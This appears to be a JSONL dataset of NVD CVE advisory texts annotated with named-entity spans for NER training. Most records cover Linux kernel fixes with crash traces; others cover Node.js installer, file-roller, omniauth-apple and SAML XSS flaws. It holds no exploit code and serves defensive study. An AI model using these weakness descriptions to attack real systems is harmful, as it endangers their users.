{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: hns: fix possible memory leak in hnae_ae_register()\n\nInject fault while probing module, if device_register() fails,\nbut the refcount of kobject is not decreased to 0, the name\nallocated in dev_set_name() is leaked. Fix this by calling\nput_device(), so that name can be freed in callback function\nkobject_cleanup().\n\nunreferenced object 0xffff00c01aba2100 (size 128):\n  comm \"systemd-udevd\", pid 1259, jiffies 4294903284 (age 294.152s)\n  hex dump (first 32 bytes):\n    68 6e 61 65 30 00 00 00 18 21 ba 1a c0 00 ff ff  hnae0....!......\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<0000000034783f26>] slab_post_alloc_hook+0xa0/0x3e0\n    [<00000000748188f2>] __kmem_cache_alloc_node+0x164/0x2b0\n    [<00000000ab0743e8>] __kmalloc_node_track_caller+0x6c/0x390\n    [<000000006c0ffb13>] kvasprintf+0x8c/0x118\n    [<00000000fa27bfe1>] kvasprintf_const+0x60/0xc8\n    [<0000000083e10ed7>] kobject_set_name_vargs+0x3c/0xc0\n    [<000000000b87affc>] dev_set_name+0x7c/0xa0\n    [<000000003fd8fe26>] hnae_ae_register+0xcc/0x190 [hnae]\n    [<00000000fe97edc9>] hns_dsaf_ae_init+0x9c/0x108 [hns_dsaf]\n    [<00000000c36ff1eb>] hns_dsaf_probe+0x548/0x748 [hns_dsaf]", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[449, 456]], "VULNERABILITY: memory leak": [[92, 103]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50352"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm thin: make get_first_thin use rcu-safe list first function\n\nThe documentation in rculist.h explains the absence of list_empty_rcu()\nand cautions programmers against relying on a list_empty() ->\nlist_first() sequence in RCU safe code.  This is because each of these\nfunctions performs its own READ_ONCE() of the list head.  This can lead\nto a situation where the list_empty() sees a valid list entry, but the\nsubsequent list_first() sees a different view of list head state after a\nmodification.\n\nIn the case of dm-thin, this author had a production box crash from a GP\nfault in the process_deferred_bios path.  This function saw a valid list\nhead in get_first_thin() but when it subsequently dereferenced that and\nturned it into a thin_c, it got the inside of the struct pool, since the\nlist was now empty and referring to itself.  The kernel on which this\noccurred printed both a warning about a refcount_t being saturated, and\na UBSAN error for an out-of-bounds cpuid access in the queued spinlock,\nprior to the fault itself.  When the resulting kdump was examined, it\nwas possible to see another thread patiently waiting in thin_dtr's\nsynchronize_rcu.\n\nThe thin_dtr call managed to pull the thin_c out of the active thins\nlist (and have it be the last entry in the active_thins list) at just\nthe wrong moment which lead to this crash.\n\nFortunately, the fix here is straight forward.  Switch get_first_thin()\nfunction to use list_first_or_null_rcu() which performs just a single\nREAD_ONCE() and returns NULL if the list is already empty.\n\nThis was run against the devicemapper test suite's thin-provisioning\nsuites for delete and suspend and no regressions were observed.", "spans": {"FILEPATH: rculist.h": [[153, 162]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21664"}}
{"text": "A vulnerability has been identified in the Node.js (.msi version) installation process, specifically affecting Windows users who install Node.js using the .msi installer. This vulnerability emerges during the repair operation, where the \"msiexec.exe\" process, running under the NT AUTHORITY\\SYSTEM context, attempts to read the %USERPROFILE% environment variable from the current user's registry.\n\nThe issue arises when the path referenced by the %USERPROFILE% environment variable does not exist. In such cases, the \"msiexec.exe\" process attempts to create the specified path in an unsafe manner, potentially leading to the creation of arbitrary folders in arbitrary locations.\n\nThe severity of this vulnerability is heightened by the fact that the %USERPROFILE% environment variable in the Windows registry can be modified by standard (or \"non-privileged\") users. Consequently, unprivileged actors, including malicious entities or trojans, can manipulate the environment variable key to deceive the privileged \"msiexec.exe\" process. This manipulation can result in the creation of folders in unintended and potentially malicious locations.\n\nIt is important to note that this vulnerability is specific to Windows users who install Node.js using the .msi installer. Users who opt for other installation methods are not affected by this particular issue.", "spans": {"FILEPATH: Node.js": [[43, 50], [137, 144], [1232, 1239]], "SYSTEM: Windows": [[111, 118], [792, 799], [1206, 1213]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-30585"}}
{"text": "fr-archive-libarchive.c in GNOME file-roller through 3.38.0, as used by GNOME Shell and other software, allows Directory Traversal during extraction because it lacks a check of whether a file's parent is a symlink in certain complex situations. NOTE: this issue exists because of an incomplete fix for CVE-2020-11736.", "spans": {"CVE_ID: CVE-2020-11736": [[302, 316]], "FILEPATH: libarchive.c": [[11, 23]], "VULNERABILITY: Directory Traversal": [[111, 130]], "VULNERABILITY: symlink": [[206, 213]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36314"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Fix race between DIM disable and net_dim()\n\nThere's a race between disabling DIM and NAPI callbacks using the dim\npointer on the RQ or SQ.\n\nIf NAPI checks the DIM state bit and sees it still set, it assumes\n`rq->dim` or `sq->dim` is valid. But if DIM gets disabled right after\nthat check, the pointer might already be set to NULL, leading to a NULL\npointer dereference in net_dim().\n\nFix this by calling `synchronize_net()` before freeing the DIM context.\nThis ensures all in-progress NAPI callbacks are finished before the\npointer is cleared.\n\nKernel log:\n\nBUG: kernel NULL pointer dereference, address: 0000000000000000\n...\nRIP: 0010:net_dim+0x23/0x190\n...\nCall Trace:\n <TASK>\n ? __die+0x20/0x60\n ? page_fault_oops+0x150/0x3e0\n ? common_interrupt+0xf/0xa0\n ? sysvec_call_function_single+0xb/0x90\n ? exc_page_fault+0x74/0x130\n ? asm_exc_page_fault+0x22/0x30\n ? net_dim+0x23/0x190\n ? mlx5e_poll_ico_cq+0x41/0x6f0 [mlx5_core]\n ? sysvec_apic_timer_interrupt+0xb/0x90\n mlx5e_handle_rx_dim+0x92/0xd0 [mlx5_core]\n mlx5e_napi_poll+0x2cd/0xac0 [mlx5_core]\n ? mlx5e_poll_ico_cq+0xe5/0x6f0 [mlx5_core]\n busy_poll_stop+0xa2/0x200\n ? mlx5e_napi_poll+0x1d9/0xac0 [mlx5_core]\n ? mlx5e_trigger_irq+0x130/0x130 [mlx5_core]\n __napi_busy_loop+0x345/0x3b0\n ? sysvec_call_function_single+0xb/0x90\n ? asm_sysvec_call_function_single+0x16/0x20\n ? sysvec_apic_timer_interrupt+0xb/0x90\n ? pcpu_free_area+0x1e4/0x2e0\n napi_busy_loop+0x11/0x20\n xsk_recvmsg+0x10c/0x130\n sock_recvmsg+0x44/0x70\n __sys_recvfrom+0xbc/0x130\n ? __schedule+0x398/0x890\n __x64_sys_recvfrom+0x20/0x30\n do_syscall_64+0x4c/0x100\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\n...\n---[ end trace 0000000000000000 ]---\n...\n---[ end Kernel panic - not syncing: Fatal exception in interrupt ]---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[650, 674]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38440"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\neth: bnxt: fix truesize for mb-xdp-pass case\n\nWhen mb-xdp is set and return is XDP_PASS, packet is converted from\nxdp_buff to sk_buff with xdp_update_skb_shared_info() in\nbnxt_xdp_build_skb().\nbnxt_xdp_build_skb() passes incorrect truesize argument to\nxdp_update_skb_shared_info().\nThe truesize is calculated as BNXT_RX_PAGE_SIZE * sinfo->nr_frags but\nthe skb_shared_info was wiped by napi_build_skb() before.\nSo it stores sinfo->nr_frags before bnxt_xdp_build_skb() and use it\ninstead of getting skb_shared_info from xdp_get_shared_info_from_buff().\n\nSplat looks like:\n ------------[ cut here ]------------\n WARNING: CPU: 2 PID: 0 at net/core/skbuff.c:6072 skb_try_coalesce+0x504/0x590\n Modules linked in: xt_nat xt_tcpudp veth af_packet xt_conntrack nft_chain_nat xt_MASQUERADE nf_conntrack_netlink xfrm_user xt_addrtype nft_coms\n CPU: 2 UID: 0 PID: 0 Comm: swapper/2 Not tainted 6.14.0-rc2+ #3\n RIP: 0010:skb_try_coalesce+0x504/0x590\n Code: 4b fd ff ff 49 8b 34 24 40 80 e6 40 0f 84 3d fd ff ff 49 8b 74 24 48 40 f6 c6 01 0f 84 2e fd ff ff 48 8d 4e ff e9 25 fd ff ff <0f> 0b e99\n RSP: 0018:ffffb62c4120caa8 EFLAGS: 00010287\n RAX: 0000000000000003 RBX: ffffb62c4120cb14 RCX: 0000000000000ec0\n RDX: 0000000000001000 RSI: ffffa06e5d7dc000 RDI: 0000000000000003\n RBP: ffffa06e5d7ddec0 R08: ffffa06e6120a800 R09: ffffa06e7a119900\n R10: 0000000000002310 R11: ffffa06e5d7dcec0 R12: ffffe4360575f740\n R13: ffffe43600000000 R14: 0000000000000002 R15: 0000000000000002\n FS:  0000000000000000(0000) GS:ffffa0755f700000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007f147b76b0f8 CR3: 00000001615d4000 CR4: 00000000007506f0\n PKRU: 55555554\n Call Trace:\n  <IRQ>\n  ? __warn+0x84/0x130\n  ? skb_try_coalesce+0x504/0x590\n  ? report_bug+0x18a/0x1a0\n  ? handle_bug+0x53/0x90\n  ? exc_invalid_op+0x14/0x70\n  ? asm_exc_invalid_op+0x16/0x20\n  ? skb_try_coalesce+0x504/0x590\n  inet_frag_reasm_finish+0x11f/0x2e0\n  ip_defrag+0x37a/0x900\n  ip_local_deliver+0x51/0x120\n  ip_sublist_rcv_finish+0x64/0x70\n  ip_sublist_rcv+0x179/0x210\n  ip_list_rcv+0xf9/0x130\n\nHow to reproduce:\n<Node A>\nip link set $interface1 xdp obj xdp_pass.o\nip link set $interface1 mtu 9000 up\nip a a 10.0.0.1/24 dev $interface1\n<Node B>\nip link set $interfac2 mtu 9000 up\nip a a 10.0.0.2/24 dev $interface2\nping 10.0.0.1 -s 65000\n\nFollowing ping.py patch adds xdp-mb-pass case. so ping.py is going to be\nable to reproduce this issue.", "spans": {"IP_ADDRESS: 10.0.0.1": [[2259, 2267], [2371, 2379]], "IP_ADDRESS: 10.0.0.2": [[2338, 2346]], "FILEPATH: /core/skbuff.c": [[707, 721]], "FILEPATH: ping.py": [[2400, 2407], [2440, 2447]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21961"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nhv_netvsc: Fix race condition between netvsc_probe and netvsc_remove\n\nIn commit ac5047671758 (\"hv_netvsc: Disable NAPI before closing the\nVMBus channel\"), napi_disable was getting called for all channels,\nincluding all subchannels without confirming if they are enabled or not.\n\nThis caused hv_netvsc getting hung at napi_disable, when netvsc_probe()\nhas finished running but nvdev->subchan_work has not started yet.\nnetvsc_subchan_work() -> rndis_set_subchannel() has not created the\nsub-channels and because of that netvsc_sc_open() is not running.\nnetvsc_remove() calls cancel_work_sync(&nvdev->subchan_work), for which\nnetvsc_subchan_work did not run.\n\nnetif_napi_add() sets the bit NAPI_STATE_SCHED because it ensures NAPI\ncannot be scheduled. Then netvsc_sc_open() -> napi_enable will clear the\nNAPIF_STATE_SCHED bit, so it can be scheduled. napi_disable() does the\nopposite.\n\nNow during netvsc_device_remove(), when napi_disable is called for those\nsubchannels, napi_disable gets stuck on infinite msleep.\n\nThis fix addresses this problem by ensuring that napi_disable() is not\ngetting called for non-enabled NAPI struct.\nBut netif_napi_del() is still necessary for these non-enabled NAPI struct\nfor cleanup purpose.\n\nCall trace:\n[  654.559417] task:modprobe        state:D stack:    0 pid: 2321 ppid:  1091 flags:0x00004002\n[  654.568030] Call Trace:\n[  654.571221]  <TASK>\n[  654.573790]  __schedule+0x2d6/0x960\n[  654.577733]  schedule+0x69/0xf0\n[  654.581214]  schedule_timeout+0x87/0x140\n[  654.585463]  ? __bpf_trace_tick_stop+0x20/0x20\n[  654.590291]  msleep+0x2d/0x40\n[  654.593625]  napi_disable+0x2b/0x80\n[  654.597437]  netvsc_device_remove+0x8a/0x1f0 [hv_netvsc]\n[  654.603935]  rndis_filter_device_remove+0x194/0x1c0 [hv_netvsc]\n[  654.611101]  ? do_wait_intr+0xb0/0xb0\n[  654.615753]  netvsc_remove+0x7c/0x120 [hv_netvsc]\n[  654.621675]  vmbus_remove+0x27/0x40 [hv_vmbus]", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[84, 98]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26698"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nexec: Force single empty string when argv is empty\n\nQuoting[1] Ariadne Conill:\n\n\"In several other operating systems, it is a hard requirement that the\nsecond argument to execve(2) be the name of a program, thus prohibiting\na scenario where argc < 1. POSIX 2017 also recommends this behaviour,\nbut it is not an explicit requirement[2]:\n\n    The argument arg0 should point to a filename string that is\n    associated with the process being started by one of the exec\n    functions.\n...\nInterestingly, Michael Kerrisk opened an issue about this in 2008[3],\nbut there was no consensus to support fixing this issue then.\nHopefully now that CVE-2021-4034 shows practical exploitative use[4]\nof this bug in a shellcode, we can reconsider.\n\nThis issue is being tracked in the KSPP issue tracker[5].\"\n\nWhile the initial code searches[6][7] turned up what appeared to be\nmostly corner case tests, trying to that just reject argv == NULL\n(or an immediately terminated pointer list) quickly started tripping[8]\nexisting userspace programs.\n\nThe next best approach is forcing a single empty string into argv and\nadjusting argc to match. The number of programs depending on argc == 0\nseems a smaller set than those calling execve with a NULL argv.\n\nAccount for the additional stack space in bprm_stack_limits(). Inject an\nempty string when argc == 0 (and set argc = 1). Warn about the case so\nuserspace has some notice about the change:\n\n    process './argc0' launched './argc0' with NULL argv: empty string added\n\nAdditionally WARN() and reject NULL argv usage for kernel threads.\n\n[1] https://lore.kernel.org/lkml/20220127000724.15106-1-ariadne@dereferenced.org/\n[2] https://pubs.opengroup.org/onlinepubs/9699919799/functions/exec.html\n[3] https://bugzilla.kernel.org/show_bug.cgi?id=8408\n[4] https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt\n[5] https://github.com/KSPP/linux/issues/176\n[6] https://codesearch.debian.net/search?q=execve%5C+*%5C%28%5B%5E%2C%5D%2B%2C+*NULL&literal=0\n[7] https://codesearch.debian.net/search?q=execlp%3F%5Cs*%5C%28%5B%5E%2C%5D%2B%2C%5Cs*NULL&literal=0\n[8] https://lore.kernel.org/lkml/20220131144352.GE16385@xsang-OptiPlex-9020/", "spans": {"CVE_ID: CVE-2021-4034": [[704, 717]], "URL: https://lore.kernel.org/lkml/20220127000724.15106-1-ariadne@dereferenced.org/": [[1642, 1719]], "URL: https://pubs.opengroup.org/onlinepubs/9699919799/functions/exec.html": [[1724, 1792]], "URL: https://bugzilla.kernel.org/show_bug.cgi?id=8408": [[1797, 1845]], "URL: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt": [[1850, 1908]], "URL: https://github.com/KSPP/linux/issues/176": [[1913, 1953]], "URL: https://codesearch.debian.net/search?q=execve%5C+*%5C%28%5B%5E%2C%5D%2B%2C+*NULL&literal=0": [[1958, 2048]], "URL: https://codesearch.debian.net/search?q=execlp%3F%5Cs*%5C%28%5B%5E%2C%5D%2B%2C%5Cs*NULL&literal=0": [[2053, 2149]], "URL: https://lore.kernel.org/lkml/20220131144352.GE16385@xsang-OptiPlex-9020/": [[2154, 2226]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49264"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu: Fix potential use-after-free during probe\n\nKasan has reported the following use after free on dev->iommu.\nwhen a device probe fails and it is in process of freeing dev->iommu\nin dev_iommu_free function, a deferred_probe_work_func runs in parallel\nand tries to access dev->iommu->fwspec in of_iommu_configure path thus\ncausing use after free.\n\nBUG: KASAN: use-after-free in of_iommu_configure+0xb4/0x4a4\nRead of size 8 at addr ffffff87a2f1acb8 by task kworker/u16:2/153\n\nWorkqueue: events_unbound deferred_probe_work_func\nCall trace:\n dump_backtrace+0x0/0x33c\n show_stack+0x18/0x24\n dump_stack_lvl+0x16c/0x1e0\n print_address_description+0x84/0x39c\n __kasan_report+0x184/0x308\n kasan_report+0x50/0x78\n __asan_load8+0xc0/0xc4\n of_iommu_configure+0xb4/0x4a4\n of_dma_configure_id+0x2fc/0x4d4\n platform_dma_configure+0x40/0x5c\n really_probe+0x1b4/0xb74\n driver_probe_device+0x11c/0x228\n __device_attach_driver+0x14c/0x304\n bus_for_each_drv+0x124/0x1b0\n __device_attach+0x25c/0x334\n device_initial_probe+0x24/0x34\n bus_probe_device+0x78/0x134\n deferred_probe_work_func+0x130/0x1a8\n process_one_work+0x4c8/0x970\n worker_thread+0x5c8/0xaec\n kthread+0x1f8/0x220\n ret_from_fork+0x10/0x18\n\nAllocated by task 1:\n ____kasan_kmalloc+0xd4/0x114\n __kasan_kmalloc+0x10/0x1c\n kmem_cache_alloc_trace+0xe4/0x3d4\n __iommu_probe_device+0x90/0x394\n probe_iommu_group+0x70/0x9c\n bus_for_each_dev+0x11c/0x19c\n bus_iommu_probe+0xb8/0x7d4\n bus_set_iommu+0xcc/0x13c\n arm_smmu_bus_init+0x44/0x130 [arm_smmu]\n arm_smmu_device_probe+0xb88/0xc54 [arm_smmu]\n platform_drv_probe+0xe4/0x13c\n really_probe+0x2c8/0xb74\n driver_probe_device+0x11c/0x228\n device_driver_attach+0xf0/0x16c\n __driver_attach+0x80/0x320\n bus_for_each_dev+0x11c/0x19c\n driver_attach+0x38/0x48\n bus_add_driver+0x1dc/0x3a4\n driver_register+0x18c/0x244\n __platform_driver_register+0x88/0x9c\n init_module+0x64/0xff4 [arm_smmu]\n do_one_initcall+0x17c/0x2f0\n do_init_module+0xe8/0x378\n load_module+0x3f80/0x4a40\n __se_sys_finit_module+0x1a0/0x1e4\n __arm64_sys_finit_module+0x44/0x58\n el0_svc_common+0x100/0x264\n do_el0_svc+0x38/0xa4\n el0_svc+0x20/0x30\n el0_sync_handler+0x68/0xac\n el0_sync+0x160/0x180\n\nFreed by task 1:\n kasan_set_track+0x4c/0x84\n kasan_set_free_info+0x28/0x4c\n ____kasan_slab_free+0x120/0x15c\n __kasan_slab_free+0x18/0x28\n slab_free_freelist_hook+0x204/0x2fc\n kfree+0xfc/0x3a4\n __iommu_probe_device+0x284/0x394\n probe_iommu_group+0x70/0x9c\n bus_for_each_dev+0x11c/0x19c\n bus_iommu_probe+0xb8/0x7d4\n bus_set_iommu+0xcc/0x13c\n arm_smmu_bus_init+0x44/0x130 [arm_smmu]\n arm_smmu_device_probe+0xb88/0xc54 [arm_smmu]\n platform_drv_probe+0xe4/0x13c\n really_probe+0x2c8/0xb74\n driver_probe_device+0x11c/0x228\n device_driver_attach+0xf0/0x16c\n __driver_attach+0x80/0x320\n bus_for_each_dev+0x11c/0x19c\n driver_attach+0x38/0x48\n bus_add_driver+0x1dc/0x3a4\n driver_register+0x18c/0x244\n __platform_driver_register+0x88/0x9c\n init_module+0x64/0xff4 [arm_smmu]\n do_one_initcall+0x17c/0x2f0\n do_init_module+0xe8/0x378\n load_module+0x3f80/0x4a40\n __se_sys_finit_module+0x1a0/0x1e4\n __arm64_sys_finit_module+0x44/0x58\n el0_svc_common+0x100/0x264\n do_el0_svc+0x38/0xa4\n el0_svc+0x20/0x30\n el0_sync_handler+0x68/0xac\n el0_sync+0x160/0x180\n\nFix this by setting dev->iommu to NULL first and\nthen freeing dev_iommu structure in dev_iommu_free\nfunction.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use after free": [[152, 166], [402, 416]], "VULNERABILITY: use-after-free": [[90, 104], [431, 445]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48796"}}
{"text": "omniauth-apple is the OmniAuth strategy for \"Sign In with Apple\" (RubyGem omniauth-apple). In omniauth-apple before version 1.0.1 attackers can fake their email address during authentication. This vulnerability impacts applications using the omniauth-apple strategy of OmniAuth and using the info.email field of OmniAuth's Auth Hash Schema for any kind of identification. The value of this field may be set to any value of the attacker's choice including email addresses of other users. Applications not using info.email for identification but are instead using the uid field are not impacted in the same manner. Note, these applications may still be negatively affected if the value of info.email is being used for other purposes. Applications using affected versions of omniauth-apple are advised to upgrade to omniauth-apple version 1.0.1 or later.", "spans": {"ORGANIZATION: Apple": [[58, 63]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26254"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvenus: pm_helpers: Fix warning in OPP during probe\n\nFix the following WARN triggered during Venus driver probe on\n5.19.0-rc8-next-20220728:\n\n WARNING: CPU: 7 PID: 339 at drivers/opp/core.c:2471 dev_pm_opp_set_config+0x49c/0x610\n Modules linked in: qcom_spmi_adc5 rtc_pm8xxx qcom_spmi_adc_tm5 leds_qcom_lpg led_class_multicolor\n  qcom_pon qcom_vadc_common venus_core(+) qcom_spmi_temp_alarm v4l2_mem2mem videobuf2_v4l2 msm(+)\n  videobuf2_common crct10dif_ce spi_geni_qcom snd_soc_sm8250 i2c_qcom_geni gpu_sched\n  snd_soc_qcom_common videodev qcom_q6v5_pas soundwire_qcom drm_dp_aux_bus qcom_stats\n  drm_display_helper qcom_pil_info soundwire_bus snd_soc_lpass_va_macro mc qcom_q6v5\n  phy_qcom_snps_femto_v2 qcom_rng snd_soc_lpass_macro_common snd_soc_lpass_wsa_macro\n  lpass_gfm_sm8250 slimbus qcom_sysmon qcom_common qcom_glink_smem qmi_helpers\n  qcom_wdt mdt_loader socinfo icc_osm_l3 display_connector\n  drm_kms_helper qnoc_sm8250 drm fuse ip_tables x_tables ipv6\n CPU: 7 PID: 339 Comm: systemd-udevd Not tainted 5.19.0-rc8-next-20220728 #4\n Hardware name: Qualcomm Technologies, Inc. Robotics RB5 (DT)\n pstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : dev_pm_opp_set_config+0x49c/0x610\n lr : dev_pm_opp_set_config+0x58/0x610\n sp : ffff8000093c3710\n x29: ffff8000093c3710 x28: ffffbca3959d82b8 x27: ffff8000093c3d00\n x26: ffffbca3959d8e08 x25: ffff4396cac98118 x24: ffff4396c0e24810\n x23: ffff4396c4272c40 x22: ffff4396c0e24810 x21: ffff8000093c3810\n x20: ffff4396cac36800 x19: ffff4396cac96800 x18: 0000000000000000\n x17: 0000000000000003 x16: ffffbca3f4edf198 x15: 0000001cba64a858\n x14: 0000000000000180 x13: 000000000000017e x12: 0000000000000000\n x11: 0000000000000002 x10: 0000000000000a60 x9 : ffff8000093c35c0\n x8 : ffff4396c4273700 x7 : ffff43983efca6c0 x6 : ffff43983efca640\n x5 : 00000000410fd0d0 x4 : ffff4396c4272c40 x3 : ffffbca3f5d1e008\n x2 : 0000000000000000 x1 : ffff4396c2421600 x0 : ffff4396cac96860\n Call trace:\n  dev_pm_opp_set_config+0x49c/0x610\n  devm_pm_opp_set_config+0x18/0x70\n  vcodec_domains_get+0xb8/0x1638 [venus_core]\n  core_get_v4+0x1d8/0x218 [venus_core]\n  venus_probe+0xf4/0x468 [venus_core]\n  platform_probe+0x68/0xd8\n  really_probe+0xbc/0x2a8\n  __driver_probe_device+0x78/0xe0\n  driver_probe_device+0x3c/0xf0\n  __driver_attach+0x70/0x120\n  bus_for_each_dev+0x70/0xc0\n  driver_attach+0x24/0x30\n  bus_add_driver+0x150/0x200\n  driver_register+0x64/0x120\n  __platform_driver_register+0x28/0x38\n  qcom_venus_driver_init+0x24/0x1000 [venus_core]\n  do_one_initcall+0x54/0x1c8\n  do_init_module+0x44/0x1d0\n  load_module+0x16c8/0x1aa0\n  __do_sys_finit_module+0xbc/0x110\n  __arm64_sys_finit_module+0x20/0x30\n  invoke_syscall+0x44/0x108\n  el0_svc_common.constprop.0+0xcc/0xf0\n  do_el0_svc+0x2c/0xb8\n  el0_svc+0x2c/0x88\n  el0t_64_sync_handler+0xb8/0xc0\n  el0t_64_sync+0x18c/0x190\n  qcom-venus: probe of aa00000.video-codec failed with error -16\n\nThe fix is re-ordering the code related to OPP core. The OPP core\nexpects all configuration options to be provided before the OPP\ntable is added.", "spans": {"FILEPATH: /opp/core.c": [[246, 257]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[1058, 1065]], "ORGANIZATION: Qualcomm": [[1128, 1136]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50011"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: nxp: imx8-isi: m2m: Fix streaming cleanup on release\n\nIf streamon/streamoff calls are imbalanced, such as when exiting an\napplication with Ctrl+C when streaming, the m2m usage_count will never\nreach zero and the ISI channel won't be freed. Besides from that, if the\ninput line width is more than 2K, it will trigger a WARN_ON():\n\n[ 59.222120] ------------[ cut here ]------------\n[ 59.226758] WARNING: drivers/media/platform/nxp/imx8-isi/imx8-isi-hw.c:631 at mxc_isi_channel_chain+0xa4/0x120, CPU#4: v4l2-ctl/654\n[ 59.238569] Modules linked in: ap1302\n[ 59.242231] CPU: 4 UID: 0 PID: 654 Comm: v4l2-ctl Not tainted 6.16.0-rc4-next-20250704-06511-gff0e002d480a-dirty #258 PREEMPT\n[ 59.253597] Hardware name: NXP i.MX95 15X15 board (DT)\n[ 59.258720] pstate: 80400009 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[ 59.265669] pc : mxc_isi_channel_chain+0xa4/0x120\n[ 59.270358] lr : mxc_isi_channel_chain+0x44/0x120\n[ 59.275047] sp : ffff8000848c3b40\n[ 59.278348] x29: ffff8000848c3b40 x28: ffff0000859b4c98 x27: ffff800081939f00\n[ 59.285472] x26: 000000000000000a x25: ffff0000859b4cb8 x24: 0000000000000001\n[ 59.292597] x23: ffff0000816f4760 x22: ffff0000816f4258 x21: ffff000084ceb780\n[ 59.299720] x20: ffff000084342ff8 x19: ffff000084340000 x18: 0000000000000000\n[ 59.306845] x17: 0000000000000000 x16: 0000000000000000 x15: 0000ffffdb369e1c\n[ 59.313969] x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\n[ 59.321093] x11: 0000000000000000 x10: 0000000000000000 x9 : 0000000000000000\n[ 59.328217] x8 : ffff8000848c3d48 x7 : ffff800081930b30 x6 : ffff800081930b30\n[ 59.335340] x5 : ffff0000859b6000 x4 : ffff80008193ae80 x3 : ffff800081022420\n[ 59.342464] x2 : ffff0000852f6900 x1 : 0000000000000001 x0 : ffff000084341000\n[ 59.349590] Call trace:\n[ 59.352025]  mxc_isi_channel_chain+0xa4/0x120 (P)\n[ 59.356722]  mxc_isi_m2m_streamon+0x160/0x20c\n[ 59.361072]  v4l_streamon+0x24/0x30\n[ 59.364556]  __video_do_ioctl+0x40c/0x4a0\n[ 59.368560]  video_usercopy+0x2bc/0x690\n[ 59.372382]  video_ioctl2+0x18/0x24\n[ 59.375857]  v4l2_ioctl+0x40/0x60\n[ 59.379168]  __arm64_sys_ioctl+0xac/0x104\n[ 59.383172]  invoke_syscall+0x48/0x104\n[ 59.386916]  el0_svc_common.constprop.0+0xc0/0xe0\n[ 59.391613]  do_el0_svc+0x1c/0x28\n[ 59.394915]  el0_svc+0x34/0xf4\n[ 59.397966]  el0t_64_sync_handler+0xa0/0xe4\n[ 59.402143]  el0t_64_sync+0x198/0x19c\n[ 59.405801] ---[ end trace 0000000000000000 ]---\n\nAddress this issue by moving the streaming preparation and cleanup to\nthe vb2 .prepare_streaming() and .unprepare_streaming() operations. This\nalso simplifies the driver by allowing direct usage of the\nv4l2_m2m_ioctl_streamon() and v4l2_m2m_ioctl_streamoff() helpers.", "spans": {"FILEPATH: /media/platform/nxp/imx8-isi/imx8-isi-hw.c": [[485, 527]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40165"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Serialization). Supported versions that are affected are Java SE: 7u241, 8u231, 11.0.5 and 13.0.1; Java SE Embedded: 8u231. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Java SE Embedded. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets (in Java SE 8), that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.0 Base Score 3.7 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [142, 146], [184, 188], [333, 337], [342, 346], [490, 494], [499, 503], [553, 557], [610, 614], [651, 655], [668, 672], [771, 775]], "ORGANIZATION: Oracle": [[58, 64]], "VULNERABILITY: denial of service": [[455, 472]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2583"}}
{"text": "github.com/crewjam/saml is a saml library for the go language. In affected versions the package does not validate the ACS Location URI according to the SAML binding being parsed. If abused, this flaw allows attackers to register malicious Service Providers at the IdP and inject Javascript in the ACS endpoint definition, achieving Cross-Site-Scripting (XSS) in the IdP context during the redirection at the end of a SAML SSO Flow. Consequently, an attacker may perform any authenticated action as the victim once the victim’s browser loaded the SAML IdP initiated SSO link for the malicious service provider. Note: SP registration is commonly an unrestricted operation in IdPs, hence not requiring particular permissions or publicly accessible to ease the IdP interoperability. This issue is fixed in version 0.4.14. Users unable to upgrade may perform external validation of URLs provided in SAML metadata, or restrict the ability for end-users to upload arbitrary metadata.", "spans": {"DOMAIN: 